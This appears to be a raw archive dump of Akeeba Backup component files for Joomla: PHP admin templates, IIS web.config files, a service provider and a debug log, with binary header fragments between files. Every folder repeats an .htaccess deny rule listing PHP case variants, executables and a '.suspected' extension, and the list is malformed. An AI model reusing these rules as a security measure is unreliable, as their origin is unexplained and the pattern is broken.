	<h3 class="card-header bg-primary text-white">
		<?= Text::_('COM_AKEEBABACKUP_TRANSFER_HEAD_UPLOAD') ?>
	</h3>

	<div class="card-body">
		<div class="alert alert-danger" id="akeeba-transfer-upload-error" style="display: none">
			<p id="akeeba-transfer-upload-error-body">MESSAGE</p>
			<a class="btn btn-warning"
			   href="<?= Route::_('index.php?option=com_akeebabackup&view=Transfer&force=1') ?>"
			   id="akeeba-transfer-upload-error-force"
			   style="display:none">
				<?= Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_OVERRIDE') ?>
			</a>
		</div>

		<div id="akeeba-transfer-upload-area-upload" style="display: none">
			<div id="backup-steps" class="d-flex flex-column align-items-stretch">
				<div class="mt-1 mb-1 p-1 border rounded bg-warning" id="akeeba-transfer-upload-lbl-kickstart">
					<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_KICKSTART') ?>
				</div>
				<div class="mt-1 mb-1 p-1 border rounded bg-light" id="akeeba-transfer-upload-lbl-archive">
					<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_BACKUP') ?>
				</div>
			</div>
			<div id="backup-status" class="backup-steps-container mt-4 p-2 bg-light border-top border-3">
				<div id="backup-step" class="border-bottom border-1">
					&#9729; <span id="akeeba-transfer-upload-percent"></span>
				</div>
				<div id="backup-substep">
					&#128190; <span id="akeeba-transfer-upload-size"></span>
				</div>
			</div>
		</div>

		<div id="akeeba-transfer-upload-area-kickstart" style="display: none">
			<p>
				<a class="btn btn-success btn-lg" href="" id="akeeba-transfer-upload-btn-kickstart" target="_blank">
					<span class="fa fa-arrow-right"></span>
					<?= Text::_('COM_AKEEBABACKUP_TRANSFER_BTN_OPEN_KICKSTART') ?>
				</a>
			</p>

			<div class="alert alert-info">
				<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_OPEN_KICKSTART_INFO') ?>
			</div>
		</div>
	</div>
</div>
PK     \ S@|  |    tmpl/transfer/default.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBABACKUP_VIEW_TRANSFER_TITLE">
		<message>
			<![CDATA[COM_AKEEBABACKUP_VIEW_TRANSFER_DESC]]>
		</message>
	</layout>
</metadata>
PK     \Sʉ        tmpl/transfer/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \+M  M    tmpl/alice/step.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

use Joomla\CMS\HTML\HTMLHelper as HTMLHelperAlias;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Alice\HtmlView $this */

$js = <<< JS
document.addEventListener('DOMContentLoaded', function() {
    setTimeout(function () {
		document.forms.adminForm.submit();        
    }, 500);
});
JS;

$this->getDocument()->getWebAssetManager()
	->useScript('com_akeebabackup.system')
	->addInlineScript($js, [], [], [
			'com_akeebabackup.system'
	]);

?>

<div class="card">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYZE_LABEL_PROGRESS') ?>
	</h3>
	<div class="card-body">
		<h4>
			<?= $this->currentSection ?>
		</h4>
		<p>
			<?= $this->currentCheck ?>
		</p>
		<div class="progress">
			<div class="progress-bar" role="progressbar" style="width: <?= $this->percentage ?>%;"
				 aria-valuenow="<?= $this->percentage ?>" aria-valuemin="0" aria-valuemax="100"
			><?= $this->percentage ?>%</div>
		</div>
		<p class="text-center my-5">
			<img src="<?= Uri::root() ?>/media/com_akeebabackup/icons/spinner.gif"
				 alt="<?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYZE_LABEL_PROGRESS') ?>" />
		</p>
	</div>
</div>

<form name="adminForm" id="adminForm"
	  action="<?= Route::_('index.php?option=com_akeebabackup&task=Alice.step') ?>" method="post">
	<?= HTMLHelperAlias::_('form.token') ?>
</form>
PK     \߀,      tmpl/alice/error.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

use Joomla\CMS\Language\Text;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Alice\HtmlView $this */
?>

<div class="akeeba-panel--red">
    <header class="akeeba-block-header">
        <h3>
            <?= Text::_('COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_HEADER') ?>
        </h3>
    </header>
    <p>
        <?= Text::_('COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_INFO') ?>
    </p>
    <h4>
            <span class="akeeba-label--red--small">
                <?= $this->errorException->getCode() ?>
            </span>
        <?= $this->errorException->getMessage() ?>
    </h4>
    <p>
        <?= $this->errorException->getFile() ?> :: L<?= $this->errorException->getLine() ?>
    </p>
    <pre><?= $this->errorException->getTraceAsString() ?></pre>
</div>
PK     \X<^?  ?    tmpl/alice/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Alice\HtmlView $this */
?>
<?php if (empty($this->logs)): ?>
	<div class="alert alert-danger">
		<p>
			<?= Text::_('COM_AKEEBABACKUP_ALICE_ERR_NOLOGS') ?>
		</p>
	</div>
<?php else: ?>
	<?php if($this->autorun): ?>
		<div class="alert alert-warning">
			<p>
				<?= Text::_('COM_AKEEBABACKUP_ALICE_AUTORUN_NOTICE') ?>
			</p>
		</div>
	<?php endif ?>

	<form name="adminForm" id="adminForm"
		  action="<?= Route::_('index.php?option=com_akeebabackup&view=Alice&task=start') ?>"
		  method="post"
		  class="row row-cols-lg-auto g-3 align-items-center">

		<div class="col-12">
			<label for="tag">
				<?= Text::_('COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE') ?>
			</label>
		</div>

		<div class="col-12">
			<?= HTMLHelper::_('select.genericlist', $this->logs, 'log', [
				'list.attr' => [
					'class' => 'form-select',
				]
			], 'value', 'text', $this->log) ?>
		</div>

		<div class="col-12">
			<button type="submit"
					class="btn btn-primary" id="analyze-log">
				<span class="fa fa-diagnoses"></span>
				<?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYZE') ?>
			</button>
		</div>

		<?= HTMLHelper::_('form.token') ?>
	</form>
<?php endif ?>

<div class="alert alert-info">
	<h2><?= Text::_('COM_AKEEBABACKUP_ALICE_HEAD_ONLYFAILED') ?></h2>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_SHOWINGLOGS') ?>
	</p>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_WHATISFAILED') ?>
	</p>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_IFNOFAILED') ?>
	</p>
</div>
PK     \ا	  	    tmpl/alice/result.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

use Joomla\CMS\Language\Text;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Alice\HtmlView $this */

?>
<div class="card">
	<h3 class="card-header"><?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_HEAD') ?></h3>
	<div class="card-body">
		<p>
			<?= Text::sprintf('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY', $this->doneChecks) ?>
		</p>
	</div>
</div>

<?php if ($this->aliceStatus == 'success'): ?>
    <p class="alert alert-success">
        <?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_SUCCESS') ?>
    </p>
<?php elseif ($this->aliceStatus == 'warnings'): ?>
    <p class="alert alert-warning">
        <?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_WARNINGS') ?>
    </p>
<?php else: ?>
    <p class="alert alert-danger">
        <?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_ERRORS') ?>
    </p>
<?php endif ?>

<?php if ($this->aliceStatus != 'success'): ?>
    <div class="card">
		<h3 class="card-header bg-<?= ($this->aliceStatus == 'error') ? 'danger text-white' : 'warning' ?>">
		    <?php if ($this->aliceStatus == 'error'): ?>
			    <?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERROR') ?>
		    <?php else: ?>
			    <?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_WARNINGS') ?>
		    <?php endif; ?>
		</h3>

		<div class="card-body">
			<?php if ($this->aliceStatus == 'error'): ?>
				<h4><?= $this->aliceError['message'] ?></h4>
				<p class="fst-italic">
					<?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SOLUTION') ?>
				</p>
				<p>
					<?= $this->aliceError['solution'] ?>
				</p>
			<?php else: ?>
				<table class="table table-striped">
					<tbody>
					<?php foreach($this->aliceWarnings as $warning): ?>
						<tr>
							<td>
								<h5><?= $warning['message'] ?></h5>
								<p class="fst-italic">
									<?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SOLUTION') ?>
								</p>
								<p>
									<?= $warning['solution'] ?>
								</p>
							</td>
						</tr>
					<?php endforeach ?>
					</tbody>
				</table>
			<?php endif ?>
		</div>
    </div>

    <p class="my-3 alert alert-info">
        <?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_NEXTSTEPS') ?>
    </p>
<?php endif ?>PK     \Sʉ        tmpl/alice/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \(dB  B    tmpl/filefilters/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Filefilters\HtmlView $this */

echo $this->loadAnyTemplate('commontemplates/errormodal');
echo $this->loadAnyTemplate('commontemplates/profilename');

?>
<div class="border row row-cols-lg-auto g-3 align-items-center my-3 mx-1 pb-3">
    <div class="col-12">
        <label>
            <?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR') ?>
        </label>
    </div>
	<div class="col-12">
		<span><?= $this->root_select ?></span>
	</div>
    <div class="col-12">
        <button type="button"
				class="btn btn-danger" id="comAkeebaFilefiltersNuke">
            <span class="fa fa-trash"></span>
            <?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_NUKEFILTERS') ?>
        </button>
	</div>
	<div class="col-12">
        <a class="btn btn-secondary text-decoration-none"
		   href="<?= Route::_('index.php?option=com_akeebabackup&view=Filefilters&layout=tabular') ?>">
            <span class="fa fa-list-ul"></span>
	        <?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_VIEWALL') ?>
        </a>
    </div>
</div>

<nav aria-label="breadcrumb" id="ak_crumbs_container" class="">
	<ol id="ak_crumbs" class="breadcrumb border my-3 p-3"></ol>
</nav>

<div id="ak_main_container" class="row row-cols-1 row-cols-lg-2 g-3">
    <div class="col">
        <div class="card">
			<h3 class="card-header">
		        <?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_DIRS') ?>
			</h3>
            <div id="folders" class="card-body overflow-scroll" style="height: 45vh;"></div>
        </div>
    </div>

	<div class="col">
        <div class="card">
			<h3 class="card-header">
		        <?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILES') ?>
			</h3>
            <div id="files" class="card-body overflow-scroll" style="height: 45vh;"></div>
        </div>
    </div>
</div>
PK     \B      tmpl/filefilters/tabular.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Filefilters\HtmlView $this */

echo $this->loadAnyTemplate('commontemplates/errormodal');
echo $this->loadAnyTemplate('commontemplates/profilename');
?>

<div class="border row row-cols-lg-auto g-3 align-items-center my-3 mx-1 pb-3">
	<div class="col-12">
		<label>
			<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR') ?>
		</label>
	</div>
	<div class="col-12">
		<span><?= $this->root_select ?></span>
	</div>
	<div class="col-12">
		<label>
			<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_ADDNEWFILTER') ?>
		</label>
	</div>
	<div class="col-12">
		<button type="button"
				class="btn btn-dark" id="comAkeebaFilefiltersAddDirectories">
			<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES') ?>
		</button>
	</div>
	<div class="col-12">
		<button type="button"
				class="btn btn-dark" id="comAkeebaFilefiltersAddSkipfiles">
			<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES') ?>
		</button>
	</div>
	<div class="col-12">
		<button type="button"
				class="btn btn-dark" id="comAkeebaFilefiltersAddSkipdirs">
			<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS') ?>
		</button>
	</div>
	<div class="col-12">
		<button type="button"
				class="btn btn-dark" id="comAkeebaFilefiltersAddFiles">
			<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES') ?>
		</button>
	</div>
</div>

<div id="ak_list_container">
	<table id="ak_list_table" class="table table-striped">
		<thead>
		<tr>
			<th class="w-25">
				<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE') ?>
			</th>
			<th>
				<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM') ?>
			</th>
		</tr>
		</thead>
		<tbody id="ak_list_contents">
		</tbody>
	</table>
</div>
PK     \Sʉ        tmpl/filefilters/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \IMy  y  %  tmpl/regexdatabasefilters/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Regexdatabasefilters\HtmlView $this */

echo $this->loadAnyTemplate('commontemplates/errormodal');
echo $this->loadAnyTemplate('commontemplates/profilename');

?>
<div class="border row row-cols-lg-auto g-3 align-items-center my-3 mx-1 pb-3">

	<div class="col-12">
		<label>
			<?= Text::_('COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR') ?>
		</label>
	</div>
	<div class="col-12">
		<span><?= $this->root_select ?></span>
	</div>

</div>

<div id="ak_list_container">
	<table id="ak_list_table" class="table table-striped">
		<thead>
		<tr>
			<td style="width: 8rem"></td>
			<th class="w-25" scope="col">
				<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE') ?>
			</th>
			<th scope="col">
				<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM') ?>
			</th>
		</tr>
		</thead>
		<tbody id="ak_list_contents">
		</tbody>
	</table>
</div>PK     \Sʉ      #  tmpl/regexdatabasefilters/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \|N      tmpl/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \wY      tmpl/s3import/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\S3import\HtmlView $this */
?>
<form action="<?= Route::_('index.php?option=com_akeebabackup&view=S3import') ?>"
	  method="post" name="adminForm" id="adminForm">

	<input type="hidden" id="ak_s3import_folder" name="folder" value="<?= $this->escape($this->root) ?>" />

    <div class="akeebabackup-s3import-head card card-body p-3 bg-light mb-3">
		<div class="row row-cols-lg-auto g-3 align-items-center">
			<div class="col">
				<label class="visually-hidden" for="s3access">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_TITLE') ?>
				</label>
				<input type="text" size="40" name="s3access" id="s3access"
					   class="form-control" autocomplete="off"
					   value="<?= $this->escape($this->s3access) ?>"
					   placeholder="<?= Text::_('COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_TITLE') ?>" />
			</div>

			<div class="col">
				<label class="visually-hidden" for="s3secret">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_TITLE') ?>
				</label>
				<input type="password" size="40" name="s3secret" id="s3secret"
					   class="form-control" autocomplete="off"
					   value="<?= $this->escape($this->s3secret) ?>"
					   placeholder="<?= Text::_('COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_TITLE') ?>" />
			</div>

			<?php if(empty($this->buckets)): ?>
			<div class="col">
				<button class="btn btn-primary" id="akeebaS3importResetRoot" type="submit">
					<span class="fa fa-wifi"></span>
					<?= Text::_('COM_AKEEBABACKUP_S3IMPORT_LABEL_CONNECT') ?>
				</button>
			</div>
			<?php else: ?>
			<div class="col">
				<?= $this->bucketSelect ?>
			</div>

			<div class="col">
				<button class="btn btn-primary" id="akeebaS3importResetRoot" type="submit">
					<span class="fa fa-folder-open"></span>
					<?= Text::_('COM_AKEEBABACKUP_S3IMPORT_LABEL_CHANGEBUCKET') ?>
				</button>
			</div>
			<?php endif ?>
		</div>
    </div>

	<nav aria-label="breadcrumb" id="ak_crumbs_container">
		<ol class="breadcrumb border p-2 mb-3">
			<li>
				<a data-s3prefix="<?= base64_encode('') ?>" class="akeebaS3importChangeDirectory">
					&lt; root &gt;
				</a>
				<span class="divider">/</span>
			</li>

			<?php if(!empty($this->crumbs)): ?>
				<?php $runningCrumb = ''; $i = 0;
				foreach($this->crumbs as $crumb):
					$runningCrumb .= $crumb . '/'; $i++; ?>
					<li class="breadcrumb-item <?= $i == count($this->crumbs) ? 'active' : '' ?>">
						<a
								class="akeebaS3importChangeDirectory" style="cursor: pointer"
								data-s3prefix="<?= base64_encode($runningCrumb) ?>"
						>
							<?= $this->escape( $crumb ) ?>
						</a>
					</li>
				<?php endforeach; ?>
			<?php endif ?>
		</ol>
	</nav>

    <div class="row row-cols-1 row-cols-lg-2 g-3">
        <div class="col">
            <div id="ak_folder_container" class="card">
				<h3 class="card-header">
		            <?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_DIRS') ?>
				</h3>

                <div id="folders" class="card-body overflow-scroll" style="height: 45vh;">
					<?php if(!empty($this->contents['folders'])): ?>
						<?php foreach($this->contents['folders'] as $name => $record): ?>
                            <div class="folder-container">
                                <span class="folder-icon-container">
                                    <span class="fa fa-folder"></span>
                                </span>
                                <span class="folder-name akeebaS3importChangeDirectory"
									  style="cursor: pointer"
                                      data-s3prefix="<?= base64_encode($record['prefix']) ?>"
                                >
                                    <?= $this->escape( basename(rtrim($name, '/')) ) ?>
                                </span>
                            </div>
						<?php endforeach ?>
					<?php endif ?>
                </div>
            </div>
        </div>

        <div class="col">
            <div id="ak_files_container" class="card">
				<h3 class="card-header">
		            <?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILES') ?>
				</h3>
                <div id="files" class="card-body overflow-scroll" style="height: 45vh;">
					<?php if(!empty($this->contents['files'])): ?>
						<?php foreach($this->contents['files'] as $name => $record): ?>
                            <div class="file-container">
                                <span class="file-icon-container">
                                    <span class="fa fa-file"></span>
                                </span>
                                <span class="file-name file-clickable akeebaS3importObjectDownload"
									  style="cursor: pointer"
                                      data-s3object="<?= base64_encode($name) ?>">
                                    <?= $this->escape( basename($record['name']) ) ?>
                                </span>
                            </div>
                        <?php endforeach ?>
                    <?php endif ?>
                </div>
            </div>
        </div>
    </div>
</form>PK     \+2      tmpl/s3import/downloading.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div id="backup-percentage" class="progress">
	<div class="progress-bar" role="progressbar"
		 style="width: <?= (int) $this->percent ?>%"
		 aria-valuenow="<?= (int) $this->percent ?>" aria-valuemin="0" aria-valuemax="100">
		<?= (int) $this->percent ?>%
	</div>
</div>

<div class="alert alert-info">
    <p>
		<?= Text::sprintf('COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADEDSOFAR',
			$this->done, $this->total, $this->percent) ?>
    </p>
</div>
PK     \Sʉ        tmpl/s3import/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        tmpl/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \j0      tmpl/statistic/edit.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Profile\HtmlView $this */

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$wa = $this->getDocument()->getWebAssetManager();
$wa->useScript('keepalive')
	->useScript('form.validate');

?>
<form action="<?php echo Route::_('index.php?option=com_akeebabackup&view=Statistic&layout=edit&id=' . (int) $this->item->id); ?>"
      method="post" name="adminForm" id="profile-form"
      aria-label="<?php echo Text::_('COM_AKEEBABACKUP_BUADMIN_LOG_EDITCOMMENT', true); ?>"
      class="form-validate">

	<div>
		<div class="card">
			<div class="card-body">
				<?php echo $this->form->renderField('id'); ?>
				<?php echo $this->form->renderField('description'); ?>
				<?php echo $this->form->renderField('comment'); ?>
				<?php echo $this->form->renderField('frozen'); ?>
				<?php echo $this->form->renderField('profile_id'); ?>
				<?php echo $this->form->renderField('origin'); ?>
				<?php echo $this->form->renderField('status'); ?>
				<?php echo $this->form->renderField('backupstart'); ?>
				<?php echo $this->form->renderField('backupend'); ?>
			</div>
		</div>
	</div>

	<input type="hidden" name="task" value="">
	<?php echo HTMLHelper::_('form.token'); ?>
</form>PK     \Sʉ        tmpl/statistic/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \jc	  c	    services/provider.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Extension\AkeebaBackupComponent;
use Akeeba\Component\AkeebaBackup\Administrator\Helper\JoomlaPublicFolder;
use Akeeba\Component\AkeebaBackup\Administrator\Provider\CacheCleaner;
use Akeeba\Component\AkeebaBackup\Administrator\Provider\ComponentParameters;
use Joomla\CMS\Component\Router\RouterFactoryInterface;
use Joomla\CMS\Dispatcher\ComponentDispatcherFactoryInterface;
use Joomla\CMS\Extension\ComponentInterface;
use Joomla\CMS\Extension\Service\Provider\ComponentDispatcherFactory;
use Joomla\CMS\Extension\Service\Provider\MVCFactory;
use Joomla\CMS\Extension\Service\Provider\RouterFactory;
use Joomla\CMS\HTML\Registry;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\DI\Container;
use Joomla\DI\ServiceProviderInterface;

/**
 * The banners service provider.
 *
 * @since  9.0.0
 */
return new class implements ServiceProviderInterface {
	/**
	 * Registers the service provider with a DI container.
	 *
	 * @param   Container  $container  The DI container.
	 *
	 * @return  void
	 *
	 * @since   9.0.0
	 */
	public function register(Container $container)
	{
		$container->registerServiceProvider(new MVCFactory('Akeeba\\Component\\AkeebaBackup'));
		$container->registerServiceProvider(new ComponentDispatcherFactory('Akeeba\\Component\\AkeebaBackup'));
		$container->registerServiceProvider(new RouterFactory('\\Akeeba\\Component\\AkeebaBackup'));
		$container->registerServiceProvider(new CacheCleaner());
		$container->registerServiceProvider(new ComponentParameters('com_akeebabackup'));
		$container->registerServiceProvider(new \Akeeba\Component\AkeebaBackup\Administrator\Provider\RouterFactory('\\Akeeba\\Component\\AkeebaBackup'));

		$container->set(
			ComponentInterface::class,
			function (Container $container) {
				JoomlaPublicFolder::init();

				$component = new AkeebaBackupComponent($container->get(ComponentDispatcherFactoryInterface::class));

				$component->setRegistry($container->get(Registry::class));
				$component->setMVCFactory($container->get(MVCFactoryInterface::class));
				$component->setRouterFactory($container->get(RouterFactoryInterface::class));

				return $component;
			}
		);
	}
};
PK     \|N      services/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \Sʉ        services/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \20  0    backup/akeeba.log.phpnu [        DEBUG   |20220211 12:42:46|Fetching filter data from database
DEBUG   |20220211 12:42:46|Loading filters
DEBUG   |20220211 12:42:46|-- Loading filter Regexskipfiles
DEBUG   |20220211 12:42:46|-- Loading filter Multidb
DEBUG   |20220211 12:42:46|-- Loading filter Tables
DEBUG   |20220211 12:42:46|-- Loading filter Tabledata
DEBUG   |20220211 12:42:46|-- Loading filter Regexdirectories
DEBUG   |20220211 12:42:46|-- Loading filter Extradirs
DEBUG   |20220211 12:42:46|-- Loading filter Regexfiles
DEBUG   |20220211 12:42:46|-- Loading filter Regextabledata
DEBUG   |20220211 12:42:46|-- Loading filter Skipfiles
DEBUG   |20220211 12:42:46|-- Loading filter Regexskipdirs
DEBUG   |20220211 12:42:46|-- Loading filter Incremental
DEBUG   |20220211 12:42:46|-- Loading filter Regextables
